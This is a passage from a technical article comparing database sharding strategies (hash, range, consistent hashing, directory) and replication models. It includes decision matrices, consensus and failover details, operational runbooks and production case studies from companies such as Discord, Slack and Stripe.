**Real-world**: DynamoDB uses hash partitioning for item distribution. Partition key choice is critical—a hot partition (celebrity user, viral post) can throttle the entire table even when other partitions are idle. AWS recommends write sharding for high-throughput tables: append a random suffix to partition keys (e.g., `user_id#0` through `user_id#9`), then aggregate reads across all suffixes. This trades read complexity for write distribution.

### Range Partitioning

Assign contiguous key ranges to each shard. Adjacent keys live on the same shard.

**Mechanism**: Define split points (e.g., `[A-M] → Shard 1, [N-Z] → Shard 2`). Keys within a range route to the same shard.

**When to use**:

- Time-series data (partition by time bucket)
- Range scan requirements (e.g., "all orders from last week")
- Data archival (drop old partitions)

**Trade-offs**:

- ✅ Efficient range queries—single shard scan instead of scatter-gather
- ✅ Natural data locality for sequential access patterns
- ✅ Easy archival—drop partitions for old time ranges
- ❌ Hot spots on recent data (time-series) or popular key ranges
- ❌ Split point management adds operational complexity

**Real-world**: CockroachDB (v24.x) defaults to range partitioning with automatic splitting at 64MB. Each range forms an independent Raft consensus group—a cluster can have hundreds of thousands of ranges. Google Spanner uses range-based directory partitioning with TrueTime for global consistency. HBase uses range partitioning by row key—Yahoo found hot regions caused 80% of their operational issues. Their solution: salted row keys (prefix with hash) for write-heavy tables, trading range scan efficiency for write distribution.

**TiDB** (v8.x) uses a similar approach: data divides into Regions (96MB limit) where each Region is a Raft group. Auto-split/merge happens transparently—applications see a single logical table.

### Consistent Hashing

Hash both keys and nodes onto a virtual ring. Keys route to the next node clockwise on the ring.

**Mechanism**: Each node owns a portion of the hash ring. Adding a node only remaps keys between the new node and its clockwise neighbor—approximately `1/N` of all keys when scaling from `N` to `N+1` nodes.

**Why it exists**: Standard hash partitioning (`hash % N`) remaps nearly all keys when N changes. Consistent hashing minimizes disruption during scaling.

**Virtual nodes (vnodes)**: Each physical node claims multiple positions on the ring. Benefits:

- Smoother load distribution (more tokens = finer granularity)
- Faster rebalancing when nodes join/leave
- Better utilization of heterogeneous hardware (more vnodes for beefier machines)

Cassandra historically recommended 256 vnodes per node, later reduced to 16-32 for better performance. More vnodes reduce variance but increase metadata overhead and repair complexity.

> **Note**: Martin Kleppmann observes that consistent hashing "doesn't work very well for databases" because resharding costs remain high even with minimal key movement—the data still needs to physically move. For availability, replication beats resharding.

**ScyllaDB Tablets (2024)**: ScyllaDB's new replication architecture replaces legacy vnodes with "tablets"—dynamically redistributed data units. This achieves **30x faster** scaling operations and **50% reduction** in network costs compared to traditional vnode-based consistent hashing.

**Trade-offs**:

- ✅ Minimal key remapping during scaling (only ~1/N keys move)
- ✅ Natural load balancing with vnodes
- ❌ Ring management adds operational complexity
- ❌ Still scatter-gather for range queries
- ❌ Vnodes increase metadata and routing table size

**Real-world**: Amazon DynamoDB, Apache Cassandra, and Discord all use consistent hashing. Discord's Cassandra cluster scaled from 12 to 177 nodes over 5 years—consistent hashing kept migration overhead manageable. However, Discord ultimately migrated to ScyllaDB in 2023, citing Cassandra's GC pauses and hot partition issues. The migration moved **trillions of messages** in 9 days using a Rust-based migrator achieving **3.2 million records/second**.

### Directory-Based Sharding

A lookup service maps keys to shard locations. Maximum flexibility at the cost of an additional network hop and single point of failure.

**Mechanism**: Every read/write first queries the directory service to find the target shard. The directory can implement any mapping logic—hash, range, or custom rules.

**When to use**:

- Custom shard placement rules (e.g., isolate high-traffic tenants)
- Gradual migration between sharding schemes
- Regulatory requirements (data residency)

**Trade-offs**:

- ✅ Maximum flexibility—any mapping logic, any rebalancing strategy
- ✅ Can move individual keys without full resharding
- ❌ Directory becomes SPOF and latency bottleneck
- ❌ Additional network hop for every operation
- ❌ Directory state must be highly available and consistent

**Real-world**: MongoDB's (v8.0) config servers act as a sharding directory. MongoDB 8.0 introduced embedded config servers—no separate deployment needed—and **50x faster** data distribution across shards.

Vitess (used by YouTube since 2011, Slack, Pinterest, Square) maintains a topology service that maps keyspace ranges to shards. Slack runs Vitess at **2.3 million QPS** (2M reads, 300K writes) with median latency of **2ms** and p99 of **11ms**. The directory is typically replicated (via etcd or ZooKeeper) and cached aggressively to mitigate the SPOF concern.

**Pinterest's MySQL Sharding** uses a directory-based approach with IDs encoding shard location: 16-bit shard ID + 10-bit type ID + 36-bit local ID. Key principle: data never moves between shards once placed. This eliminates resharding complexity at the cost of inflexible data placement.

### Sharding Strategy Decision Matrix

| Factor                 | Hash              | Range               | Consistent Hash      | Directory          |
| ---------------------- | ----------------- | ------------------- | -------------------- | ------------------ |
| Point queries          | ✅ Single shard   | ✅ Single shard     | ✅ Single shard      | ✅ Single shard    |
| Range queries          | ❌ Scatter-gather | ✅ Single shard     | ❌ Scatter-gather    | Depends on mapping |
| Write distribution     | ✅ Even           | ❌ Hot spots likely | ✅ Even with vnodes  | Configurable       |
| Adding nodes           | ❌ Full rehash    | Manual split        | ✅ Minimal remapping | Manual             |
| Operational complexity | Low               | Medium              | Medium               | High               |
| Flexibility            | Low               | Medium              | Low                  | High               |

## Replication Models

Replication copies data across nodes for fault tolerance and read scaling. The replication model determines who accepts writes, how changes propagate, and what consistency guarantees exist.

### Single-Leader Replication

One node (leader) accepts all writes; followers replicate from the leader and serve reads.

**Mechanism**: Writes go to the leader, which logs them to a Write-Ahead Log (WAL). Followers pull or receive the WAL and apply changes. Reads can go to the leader (strong consistency) or followers (eventual consistency).

**Why it exists**: Simplest model to reason about. No conflict resolution needed—all writes serialize through one node.

**When to use**:

- Strong consistency requirements
- Moderate write throughput (single leader is bottleneck)
- Simpler operational model preferred

**Trade-offs**:

- ✅ No write conflicts—single serialization point
- ✅ Simpler to reason about and debug
- ✅ Strong consistency achievable (read from leader)
- ❌ Leader is write throughput bottleneck
- ❌ Leader failure requires failover (brief unavailability)
- ❌ Cross-region writes have high latency (must reach leader)

**Real-world**: PostgreSQL (v17+) streaming replication, MySQL replication, MongoDB replica sets. PostgreSQL 17 (September 2024) added logical replication failover—automatic slot sync to standbys via `sync_replication_slots` and the new `failover` parameter. Previously, logical replication couldn't survive primary failure without manual intervention.

Slack's original architecture used single-leader MySQL with asynchronous replication—writes in one datacenter, read replicas everywhere. This worked until COVID-19 traffic spikes exposed the write bottleneck, prompting their Vitess migration.

### Multi-Leader Replication

Multiple nodes accept writes independently, then replicate to each other.

**Mechanism**: Each leader handles writes for its region/partition. Leaders exchange changes asynchronously. Conflicts (concurrent writes to same key) require resolution.

**Why it exists**: Single-leader can't scale writes or survive leader datacenter failure. Multi-leader allows writes in every region with local latency.

**Conflict resolution strategies**:

- **Last-write-wins (LWW)**: Timestamp determines winner. Simple but loses data.
- **Merge**: Application-specific logic combines conflicting values (e.g., union of sets).
- **Custom resolution**: Application callback decides winner.

**When to use**:

- Multi-region deployments needing local write latency
- Offline-capable clients (each client is a "leader")
- High write availability requirements

**Trade-offs**:

- ✅ Local write latency in each region
- ✅ Survives datacenter failures without failover
- ✅ Higher write throughput (multiple leaders)
- ❌ Conflict resolution complexity
- ❌ Harder to reason about consistency
- ❌ Potential data loss with LWW

**Real-world**: CouchDB's multi-master replication for offline-first apps. Cassandra with `NetworkTopologyStrategy` for multi-datacenter deployments. Google Docs uses Operational Transformation (a form of conflict resolution) for real-time collaboration.

### Leaderless Replication

Any node accepts reads and writes. Clients contact multiple nodes; quorum determines success.

**Mechanism**: Client sends writes to W replicas and reads from R replicas. If `W + R > N` (total replicas), at least one node has the latest value. Quorum ensures overlap.

**Why it exists**: No leader means no single point of failure and no failover. Any node can serve any request.

**Quorum configurations**:

- `N=3, W=2, R=2`: Balanced reads/writes, tolerates 1 failure
- `N=3, W=3, R=1`: Fast reads, slow writes, no write tolerance
- `N=3, W=1, R=3`: Fast writes, slow reads, no read tolerance

**Read repair and anti-entropy**: Stale replicas are updated during reads (read repair) or background synchronization (anti-entropy/Merkle trees).

**When to use**:

- High availability requirements
- Can tolerate eventual consistency
- No single point of failure acceptable

**Trade-offs**:

- ✅ No leader = no failover needed
- ✅ High availability (any quorum serves requests)
- ✅ Tunable consistency via quorum settings
- ❌ Eventual consistency only (unless W=N and R=N)
- ❌ Conflict resolution needed for concurrent writes
- ❌ Higher network traffic (multiple replicas per request)

**Real-world**: Amazon DynamoDB, Apache Cassandra, Riak. DynamoDB's original paper (2007) introduced the quorum model that influenced a generation of databases.

**Discord's ScyllaDB migration (2023)** results:

- p99 read latency: **15ms** (vs. 40-125ms on Cassandra)
- p99 write latency: **5ms** (vs. 5-70ms on Cassandra)
- **50% fewer nodes** due to higher storage density
- Uses `LOCAL_QUORUM` for both reads and writes

### Replication Model Decision Matrix

| Factor                 | Single-Leader          | Multi-Leader           | Leaderless         |
| ---------------------- | ---------------------- | ---------------------- | ------------------ |
| Write consistency      | ✅ Strong (via leader) | ❌ Conflicts possible  | ❌ Eventual        |
| Write availability     | ❌ Leader SPOF         | ✅ Any leader          | ✅ Any quorum      |
| Write throughput       | ❌ Single bottleneck   | ✅ Scales with leaders | ✅ Scales with W   |
| Read consistency       | Configurable           | ❌ Eventual            | Configurable via R |
| Operational complexity | Low                    | High (conflicts)       | Medium             |
| Failover needed        | Yes                    | No                     | No                 |

## Synchronous vs. Asynchronous Replication

The replication timing determines durability and latency trade-offs.

### Synchronous Replication

Leader waits for follower acknowledgment before confirming write to client.

**Guarantee**: Write is durable on multiple nodes before confirmation. No data loss if leader fails.

**Cost**: Latency = leader write time + slowest follower replication time. Throughput limited by follower speed.

**When to use**: Financial transactions, audit logs, any data where loss is unacceptable.

**Real-world**: Google Spanner uses synchronous Paxos replication—writes commit only after majority acknowledgment. The TrueTime API (atomic clocks + GPS) provides **<1ms clock uncertainty at p99**, enabling external consistency. Spanner's "commit wait" ensures transaction visibility only after the commit timestamp passes—but with tight TrueTime bounds, this typically requires no actual waiting.

### Asynchronous Replication

Leader confirms write immediately; followers replicate in background.

**Guarantee**: Eventual consistency. Leader failure before replication = data loss.

**Benefit**: Minimum latency. Throughput unaffected by follower speed.

**When to use**: High throughput requirements, acceptable eventual consistency, acceptable rare data loss.

**Real-world**: Most single-leader systems default to async. Slack's MySQL used asynchronous replication with subsecond lag under normal conditions—but lag could spike to minutes during traffic bursts, causing stale reads.

### Semi-Synchronous Replication

Leader waits for at least one follower before confirming, but not all.

**Guarantee**: Write survives leader failure if the confirmed follower survives.

**Balance**: Better durability than async, better latency than full sync.

**When to use**: Most production single-leader deployments.

**Real-world**: MySQL semi-synchronous replication (`rpl_semi_sync_master_wait_for_slave_count=1`). PostgreSQL synchronous replication with `synchronous_commit = on` and named synchronous standbys.

## Read/Write Routing

How clients find the right node for their request.

### Write Routing

Writes must reach nodes that accept writes:

- **Single-leader**: Route to leader (failover-aware routing)
- **Multi-leader**: Route to local leader (region-aware routing)
- **Leaderless**: Route to W replicas (any W of N)

### Read Routing Strategies

**Read-your-writes consistency**: After a write, subsequent reads see that write.

Implementation options:

1. **Read from leader**: Guarantees consistency but doesn't scale
2. **Sticky sessions**: Client always reads from same replica
3. **Version tracking**: Client tracks last write version; read waits for replica to catch up

**Monotonic reads**: Once you see a value, you never see an older value.

Implementation: Sticky sessions (same replica per client) or version vectors.

**Bounded staleness**: Reads are at most T seconds behind writes.

Implementation: Track replication lag; route reads to replicas within bound.

**Real-world**: Stripe uses read-your-writes for payment confirmations (critical) but eventual consistency for analytics (acceptable lag). CockroachDB's follower reads allow stale reads with bounded staleness for latency-sensitive queries.

## Consistency and Replication Lag

Replication lag is the delay between a write on the leader and its visibility on followers.

### Sources of Lag

1. **Network latency**: Time for WAL to reach follower
2. **Apply time**: Time for follower to apply changes (especially with heavy indexes)
3. **Load**: High write throughput or follower CPU saturation
4. **Cross-region**: WAN latency (50-300ms typical)

### Lag Implications

**Single-leader with async replication**: Read from follower may miss recent writes. Read from leader always consistent but doesn't scale.

**Quorum systems**: `W + R > N` ensures overlap, but the overlapping node might have an older version during the quorum window.

**Real-world**: Discord observed P99 read latencies jump from 40ms to 125ms during Cassandra compaction storms—lag spikes caused by follower CPU saturation applying SSTable merges.

### Monitoring Lag

Essential metrics:

- **Replication lag (seconds)**: Primary indicator of follower freshness
- **Lag percentiles (P50, P99)**: Average lag hides spikes
- **Lag by replica**: Identifies problematic followers
- **Lag during writes**: Correlate with write throughput

PostgreSQL: `pg_stat_replication.replay_lag`
MySQL: `Seconds_Behind_Master` (misleading—measures relay log position, not actual staleness)
Cassandra: `org.apache.cassandra.metrics:type=Table,name=CoordinatorReadLatency`

## How to Choose

Choosing sharding and replication strategies requires analyzing your specific requirements across multiple dimensions.

### Factors to Consider

#### 1. Access Patterns

| Pattern                                 | Recommended Sharding                          | Rationale                                          |
| --------------------------------------- | --------------------------------------------- | -------------------------------------------------- |
| Random point reads/writes               | Hash partitioning                             | Even distribution regardless of key patterns       |
| Range scans (time-series, logs)         | Range partitioning                            | Sequential data on same shard                      |
| Mixed point + range queries             | Range with secondary hash indexes             | Trade-off: range efficiency with some distribution |
| Hot keys (celebrity users, viral posts) | Hash + write sharding or dedicated partitions | Spread load across multiple partitions             |
| Multi-tenant with isolation             | Directory-based                               | Per-tenant shard placement control                 |

#### 2. Consistency Requirements

| Requirement                      | Replication Model          | Replication Timing          | Example Use Case                        |
| -------------------------------- | -------------------------- | --------------------------- | --------------------------------------- |
| Strong consistency, serializable | Single-leader              | Synchronous                 | Financial transactions, inventory       |
| Strong consistency, linearizable | Raft/Paxos consensus       | Synchronous                 | Coordination services (etcd, ZooKeeper) |
| Read-your-writes                 | Single-leader              | Any (with version tracking) | User-facing CRUD operations             |
| Eventual (seconds OK)            | Multi-leader or leaderless | Asynchronous                | Social feeds, analytics                 |
| Eventual (minutes OK)            | Leaderless                 | Asynchronous                | DNS, config distribution, logging       |

#### 3. Scale Thresholds

| Scale Factor     | Threshold | Recommended Approach                       |
| ---------------- | --------- | ------------------------------------------ |
| Operations/sec   | < 10K     | Single node with read replicas may suffice |
| Operations/sec   | 10K-100K  | Replication + connection pooling + caching |
| Operations/sec   | > 100K    | Sharding required                          |
| Data size        | < 100GB   | Single node (with backups)                 |
| Data size        | 100GB-1TB | Replication for availability               |
| Data size        | > 1TB     | Sharding required                          |
| Write:read ratio | > 1:10    | Single-leader often sufficient             |
| Write:read ratio | > 1:1     | Consider multi-leader or leaderless        |

#### 4. Operational Capacity

| Team Capability            | Recommended Approach                                  |
| -------------------------- | ----------------------------------------------------- |
| No dedicated database team | Managed services (RDS, DynamoDB, Cloud Spanner)       |
| Small SRE team             | Simpler replication (single-leader), managed sharding |
| Large platform team        | Self-hosted with custom tooling (Vitess, CockroachDB) |
| Global operations          | Multi-region with automated failover                  |

### Decision Tree

```
Start: What's your primary bottleneck?

├── Write throughput / data volume
│   └── Do you need strong consistency?
│       ├── Yes → Range sharding + Raft consensus (CockroachDB, TiDB)
│       └── No → Hash/consistent hash + leaderless (Cassandra, DynamoDB)
│
├── Read throughput
│   └── Do you need strong consistency?
│       ├── Yes → Single-leader + read replicas (read from leader)
│       └── No → Leaderless with tunable quorum
│
├── Geographic distribution
│   └── Can you accept eventual consistency?
│       ├── Yes → Multi-leader with conflict resolution
│       └── No → Single-leader per region + cross-region Paxos (Spanner)
│
└── High availability (no SPOF)
    └── Leaderless replication (any quorum serves requests)
```

### Production Benchmarks

Reference points from production systems (as of 2024):

| System              | QPS            | Latency           | Scale                  | Architecture                   |
| ------------------- | -------------- | ----------------- | ---------------------- | ------------------------------ |
| Slack (Vitess)      | 2.3M peak      | 2ms p50, 11ms p99 | -                      | Directory + single-leader      |
| Stripe DocDB        | 5M             | -                 | 2,000+ shards, PB data | Directory + custom replication |
| Uber Docstore       | 40M+ reads/sec | -                 | Tens of PB             | Partitioned + Raft             |
| Discord (ScyllaDB)  | -              | 15ms p99 read     | Trillions of messages  | Consistent hash + leaderless   |
| Netflix (Cassandra) | Millions/sec   | -                 | PB data, 10K+ nodes    | Consistent hash + leaderless   |

## Resharding and Data Migration

As data grows, shards need to split. As traffic patterns change, shards need to rebalance.

### Online Resharding Challenges

1. **Consistency**: Reads and writes continue during migration
2. **Completeness**: No data lost or duplicated
3. **Performance**: Migration doesn't degrade production traffic
4. **Rollback**: Ability to abort if issues arise

### Stripe's Zero-Downtime Migration (DocDB)

Stripe's DocDB (custom MongoDB-based system) serves **5 million QPS** across **2,000+ shards** and petabytes of data. Their Data Movement Platform enables zero-downtime migrations:

**Phase 1 - Setup**:

- Register migration intent in coordination service
- Build indexes on destination shard
- Set up Change Data Capture (CDC) from source

**Phase 2 - Bulk Copy**:

- Snapshot source shard at point-in-time
- Bulk load to destination in sort order (B-tree friendly insertion)
- CDC captures writes during bulk copy

**Phase 3 - Catch-up**:

- Apply CDC changes to destination
- Repeat until lag is minimal (seconds)

**Phase 4 - Cutover**:

- Brief write pause (<2 seconds)
- Apply final CDC batch
- Update routing to point to destination
- Resume writes

**Phase 5 - Verification**:

- Point-in-time comparison between source and destination
- Reconcile any discrepancies (automatic rollback if issues detected)

**Phase 6 - Cleanup**:

- Mark migration complete
- Tombstone source data
- Remove CDC pipeline

**Evolution**: Stripe evolved from few large shards (tens of TB each) to thousands of smaller shards. Future work includes heat management for proactive balancing and shard autoscaling based on load patterns.

### Automatic Split/Merge

Some systems handle resharding automatically:

**CockroachDB**: Ranges split when they exceed size threshold (default 512MB) or experience high traffic. Raft-based replication handles the split coordination.

**Google Spanner**: Tablets split automatically. The split is transparent to applications—Paxos groups coordinate the redistribution.

**Trade-off**: Automation reduces operational burden but can cause unexpected load (splits during peak traffic). Most systems allow disabling auto-split for critical periods.

## Consensus Protocols in Practice

Modern distributed databases use consensus protocols (Raft, Paxos) to coordinate replicas. Understanding their implementation details matters for operational decisions.

### Raft

Raft powers etcd, CockroachDB, TiDB, and is the most widely-deployed consensus implementation.

**Core mechanism**: Leader election + log replication. One node is elected leader; all writes go through the leader; the leader replicates log entries to followers and commits when a majority acknowledges.

**Key extensions in production:**

- **PreVote**: Prevents disruptive elections when a rejoining node (with outdated log) tries to start an election. The node first checks if it _could_ win before incrementing its term.
- **Leadership transfer**: Orderly handoff during planned maintenance or when a better leader candidate exists.
- **Membership changes**: One node at a time, taking effect when the configuration entry is _applied_ (not just added to log).

**Why odd node counts**: 3 nodes tolerate 1 failure; 4 nodes also tolerate only 1 failure (need majority). Adding nodes doesn't always improve fault tolerance.

### Multi-Raft

When a database has thousands of shards, each shard being an independent Raft group creates overhead (goroutines, heartbeats, memory).

**CockroachDB's solution**: Coalesce heartbeats across all Raft groups between two nodes into a single request/response. Result: **3 goroutines per node** regardless of range count, instead of 1 goroutine per range.

**TiDB/TiKV**: One of few open-source implementations of Multi-Raft. Regions split automatically at 96MB threshold; each Region maintains its own Raft state machine.

### Paxos (Google Spanner)

Spanner uses leader-based Paxos with leases. Each tablet has its own Paxos state machine.

**TrueTime integration**: GPS receivers + atomic clocks in each datacenter provide **<1ms clock uncertainty at p99**. This enables external consistency without excessive coordination latency.

**Commit wait**: After committing, Spanner waits until the commit timestamp has passed before making the transaction visible. With tight TrueTime bounds, this wait is typically negligible.

## Failure Handling

Node failures, network partitions, and split-brain scenarios require careful handling.

### Failure Detection

**Heartbeats**: Nodes periodically ping each other. Missing heartbeats trigger failure suspicion.

**Timeouts**: How long to wait before declaring failure? Too short = false positives (network hiccup). Too long = slow failover.

**Phi Accrual Failure Detector**: Used by Cassandra. Calculates probability of failure based on heartbeat arrival times. Adapts to network conditions.

### Leader Failover (Single-Leader Systems)

**Detection**: Followers notice missing heartbeats from leader.

**Election**: Followers propose themselves; voting determines new leader. Raft uses randomized timeouts to avoid split votes.

**Promotion**: New leader starts accepting writes. Old leader (if still alive) must step down.

**Risks**:

- **Split-brain**: Old leader doesn't know it's been replaced, accepts writes → data divergence
- **Data loss**: Async replication means new leader may miss recent writes
- **Cascading failures**: Failover load causes new leader to fail

**Fencing**: Prevent split-brain by ensuring old leader can't accept writes:

- **STONITH (Shoot The Other Node In The Head)**: Power off the old leader
- **Fencing tokens**: Monotonically increasing tokens; storage rejects old tokens
- **Lease expiration**: Leader's write permission expires; must reacquire

### Quorum and Split-Brain Prevention

**Majority quorum**: Decisions require >50% of nodes. In a network partition, at most one partition has majority.

**Example**: 5-node cluster. Partition splits into 3 and 2 nodes. Only the 3-node partition can form quorums; 2-node partition stops accepting writes (preserves consistency, sacrifices availability).

**Why odd numbers**: Even splits (2-2 in 4-node cluster) means no partition has majority. Odd numbers guarantee one partition can progress.

**Quorum reads**: Reading from majority ensures at least one node has the latest value (if `W > N/2`).

### Real-World Failure Scenarios

**Discord's Cassandra hot partition incident (pre-2023)**: A viral server caused one partition to receive 1000x normal traffic. The partition's replicas couldn't keep up; read latencies spiked from 15ms to 125ms. Cassandra's JVM GC pauses exacerbated the problem. Short-term fix: caching for hot data. Long-term fix: **migration to ScyllaDB** (2023)—written in C++, no GC pauses, and new tablet architecture handles hot partitions better.

**Slack's MySQL failover during COVID-19**: Traffic jumped 50% in one week. Replication lag spiked, triggering alerts. The system handled it without failover because they had headroom, but it exposed that their lag monitoring thresholds were too conservative. They adjusted thresholds and added capacity—and accelerated their **Vitess migration** to decouple sharding from application logic.

**Stripe's DocDB migration**: Moving data across their 2,000+ shard fleet while maintaining 99.999% uptime. Their Data Movement Platform handles zero-downtime migrations with consistency verification. During one shard consolidation, they detected data discrepancy in the verification phase. The system automatically rolled back, triggered alerts, and paused migration. Root cause: CDC (Change Data Capture) missed a rare edge case with concurrent deletes. Fix deployed, migration resumed successfully.

**Uber Docstore's Raft split-brain recovery**: Each partition runs a 3-5 node Raft group with NVMe SSD storage. When network partitions isolate the leader, the Raft protocol ensures the minority partition cannot accept writes (no quorum). Upon partition heal, the isolated leader steps down gracefully via lease expiration. Key learning: Raft's leader lease (2 seconds in their configuration) must be shorter than client timeouts to prevent stale reads.

## Observability and Operational Tooling

Operating sharded, replicated systems requires comprehensive observability.

### Essential Metrics

**Per-shard metrics**:

- Query throughput (reads/writes per second)
- Query latency (P50, P95, P99)
- Data size and growth rate
- Connection count

**Replication metrics**:

- Replication lag (seconds behind leader)
- Replication throughput (bytes/second)
- Follower health status

**Cluster-wide metrics**:

- Shard balance (data distribution skew)
- Hot shard detection (throughput imbalance)
- Cross-shard query rate (indicator of shard key problems)

### Alerting Thresholds

| Metric                 | Warning       | Critical      | Action                                       |
| ---------------------- | ------------- | ------------- | -------------------------------------------- |
| Replication lag        | > 10s         | > 60s         | Investigate follower load; consider failover |
| Shard size imbalance   | > 20%         | > 50%         | Rebalance or reshard                         |
| Query latency P99      | > 2x baseline | > 5x baseline | Check for hot partitions, compaction         |
| Cross-shard query rate | > 10%         | > 25%         | Review shard key design                      |

### Operational Runbooks

**Replication lag spike**:

1. Check follower CPU/IO—is it keeping up with apply?
2. Check network between leader and follower
3. Check for long-running transactions blocking replication
4. Consider promoting a less-lagged replica if lag is critical

**Hot shard detected**:

1. Identify hot keys (query logs, slow query analysis)
2. Short-term: Add caching layer for hot data
3. Medium-term: Add read replicas for hot shard
4. Long-term: Reshard to split hot partition

**Split-brain suspected**:

1. Check network connectivity between nodes
2. Verify quorum state on each partition
3. If confirmed split-brain: isolate the minority partition (network block)
4. Reconcile any diverged writes manually

## Common Pitfalls

### 1. Choosing Shard Key Without Analyzing Access Patterns

**The mistake**: Picking shard key based on data model (primary key) rather than query patterns.

**Why it happens**: Database primary key seems like the obvious choice.

**The consequence**: Cross-shard queries for common operations. A user dashboard querying all their orders across time-sharded data requires scatter-gather.

**The fix**: Analyze top queries before choosing shard key. The key should partition data along your most common access pattern.

**Example**: An e-commerce site sharded orders by `order_id`. Every "show my orders" query became a scatter-gather across all shards. Resharding by `user_id` made the common query single-shard.

### 2. Underestimating Replication Lag Impact

**The mistake**: Assuming replication is "fast enough" without measuring.

**Why it happens**: Lag is often subsecond in development; production load is different.

**The consequence**: Users see stale data. Worse: read-after-write inconsistency causes user-visible bugs ("I just updated my profile but it shows old data").

**The fix**: Measure lag percentiles in production. Implement read-your-writes consistency for user-facing flows. Alert on lag spikes.

**Example**: Slack found replication lag spiked to minutes during traffic bursts, causing support tickets about "missing messages." They added version tracking for read-your-writes consistency on critical paths.

### 3. Ignoring Hot Partition Problem

**The mistake**: Assuming hash sharding eliminates hot spots.

**Why it happens**: Hash sharding distributes keys evenly, but access patterns aren't uniform.

**The consequence**: One partition (celebrity user, viral content) receives 1000x traffic, overwhelming its replicas.

**The fix**: Monitor per-partition throughput. Design for hot key mitigation: caching, request coalescing, or dedicated partitions for known hot keys.

**Example**: Discord's "celebrity server" problem—servers with 100K+ members had orders of magnitude more traffic than small friend groups. Solution: channel-level sharding (not server-level) to distribute load within popular servers.

### 4. Treating Failover as Instantaneous

**The mistake**: Assuming failover is seamless and instant.

**Why it happens**: Marketing materials say "automatic failover."

**The consequence**: Failover takes 10-30 seconds. During failover: connection errors, potential data loss (async replication), application retry storms.

**The fix**: Design applications to handle brief unavailability. Implement circuit breakers. Test failover regularly. Consider synchronous replication for zero data loss.

**Example**: A team assumed their managed database "had failover." In production, failover took 25 seconds—their 30-second HTTP timeout caused cascading failures. Fix: shorter timeouts (5-10 seconds), circuit breakers, and regular failover testing in staging. AWS RDS Multi-AZ failover typically takes 60-120 seconds; plan for this.

## Conclusion

Sharding and replication are independent design axes with distinct trade-offs:

**Sharding strategy** determines data distribution and query efficiency:

- **Hash partitioning**: Even distribution, but range queries require scatter-gather
- **Range partitioning**: Efficient scans, but hot spots on recent/popular data
- **Consistent hashing**: Minimal disruption during scaling, but resharding costs remain high
- **Directory-based**: Maximum flexibility, but adds operational complexity and SPOF risk

**Replication model** determines consistency and availability:

- **Single-leader**: Simplest to reason about, but leader is SPOF and write bottleneck
- **Multi-leader**: Multi-region writes with local latency, but requires conflict resolution
- **Leaderless**: No SPOF, highly available, but eventual consistency only

**Consensus protocols** (Raft, Paxos) enable strong consistency with replication. Multi-Raft scales to hundreds of thousands of consensus groups per cluster.

**Production patterns (2024)**:

- **Slack** (Vitess, 2.3M QPS): Directory-based sharding + single-leader MySQL
- **Discord** (ScyllaDB): Consistent hashing with tablets + leaderless replication
- **Stripe** (DocDB, 5M QPS): Directory-based sharding + custom replication
- **Uber** (Docstore, 40M+ reads/sec): Partitioned + Raft consensus

There's no universal answer—only trade-offs that match your access patterns, consistency requirements, and operational capacity.

## Appendix

### Prerequisites

- Basic database concepts (ACID, indexes, transactions)
- Distributed systems fundamentals (network partitions, CAP theorem)
- Understanding of consistency models (strong vs. eventual)

### Terminology

- **Shard/Partition**: A horizontal partition of data; one piece of a partitioned dataset
- **Replica**: A copy of data on another node for fault tolerance
- **Leader/Primary**: The node that accepts writes in single-leader replication
- **Follower/Secondary**: A node that replicates from a leader
- **Quorum**: The minimum number of nodes that must agree for an operation to succeed
- **WAL (Write-Ahead Log)**: Append-only log of changes used for durability and replication
- **Vnode**: Virtual node; a token position on a consistent hashing ring
- **Tablet/Region**: A data partition in systems using Raft/Paxos (Spanner, CockroachDB, TiDB)
- **CDC (Change Data Capture)**: Technology for capturing row-level changes for replication or migration
- **Raft**: Consensus protocol for leader election and log replication; simpler alternative to Paxos
- **Multi-Raft**: Running multiple independent Raft consensus groups per cluster (one per shard/region)

### Summary

- **Sharding scales capacity**: Distribute data across nodes to scale writes, storage, and memory
- **Replication scales availability**: Copy data across nodes to survive failures and scale reads
- **Orthogonal axes**: Choose sharding strategy and replication model independently based on access patterns
- **Hash partitioning**: Even distribution, scatter-gather for range queries
- **Range partitioning**: Efficient scans, hot spots on recent data
- **Single-leader**: Simplest, strong consistency, but leader is SPOF and write bottleneck
- **Leaderless**: No SPOF, high availability, eventual consistency, conflict resolution needed
- **Raft/Paxos consensus**: Enables strong consistency with replication; Multi-Raft scales to thousands of groups
- **Zero-downtime resharding**: CDC, bulk copy, catch-up, brief cutover, verification, rollback capability
- **Monitor lag, hot partitions, and cross-shard queries** to detect problems before they impact users

### References

**Foundational Papers & Specifications**

- [Amazon DynamoDB Paper (2007)](https://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf) - Foundational paper on consistent hashing and quorum-based replication
- [Google Spanner Paper (2012)](https://research.google/pubs/pub39966/) - Globally distributed database with synchronous replication and TrueTime
- [Raft Consensus Algorithm](https://raft.github.io/) - Understandable consensus for leader election and log replication
- [etcd Raft Library](https://github.com/etcd-io/raft) - Production Raft implementation used by Kubernetes, CockroachDB, TiDB

**Official Documentation**

- [CockroachDB Architecture](https://www.cockroachlabs.com/docs/stable/architecture/overview.html) - Range partitioning with Multi-Raft replication
- [CockroachDB: Scaling Raft](https://www.cockroachlabs.com/blog/scaling-raft/) - Multi-Raft implementation details
- [PostgreSQL 17 Release Notes](https://www.postgresql.org/about/news/postgresql-17-released-2936/) - Logical replication failover features
- [MongoDB 8.0 Announcement](https://www.mongodb.com/company/blog/mongodb-8-0-raising-the-bar) - Embedded config servers, 50x faster sharding
- [ScyllaDB Tablets (2024)](https://www.scylladb.com/2024/12/03/enterprise-tablets/) - New replication architecture replacing vnodes

**Engineering Blog Posts**

- [Discord: How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - Cassandra to ScyllaDB migration (2023)
- [Slack: Scaling Datastores with Vitess](https://slack.engineering/scaling-datastores-at-slack-with-vitess/) - MySQL sharding at 2.3M QPS
- [Stripe: Zero-Downtime Data Migrations](https://stripe.com/blog/how-stripes-document-databases-supported-99.999-uptime-with-zero-downtime-data-migrations) - DocDB migration methodology
- [Pinterest: Sharding MySQL](https://medium.com/pinterest-engineering/sharding-pinterest-how-we-scaled-our-mysql-fleet-3f341e96ca6f) - ID-encoded shard placement
- [Uber Docstore](https://www.uber.com/blog/how-uber-serves-over-40-million-reads-per-second-using-an-integrated-cache/) - 40M+ reads/sec with Raft
- [LinkedIn Espresso](https://engineering.linkedin.com/espresso/introducing-espresso-linkedins-hot-new-distributed-document-store) - Hash-based partitioning at scale
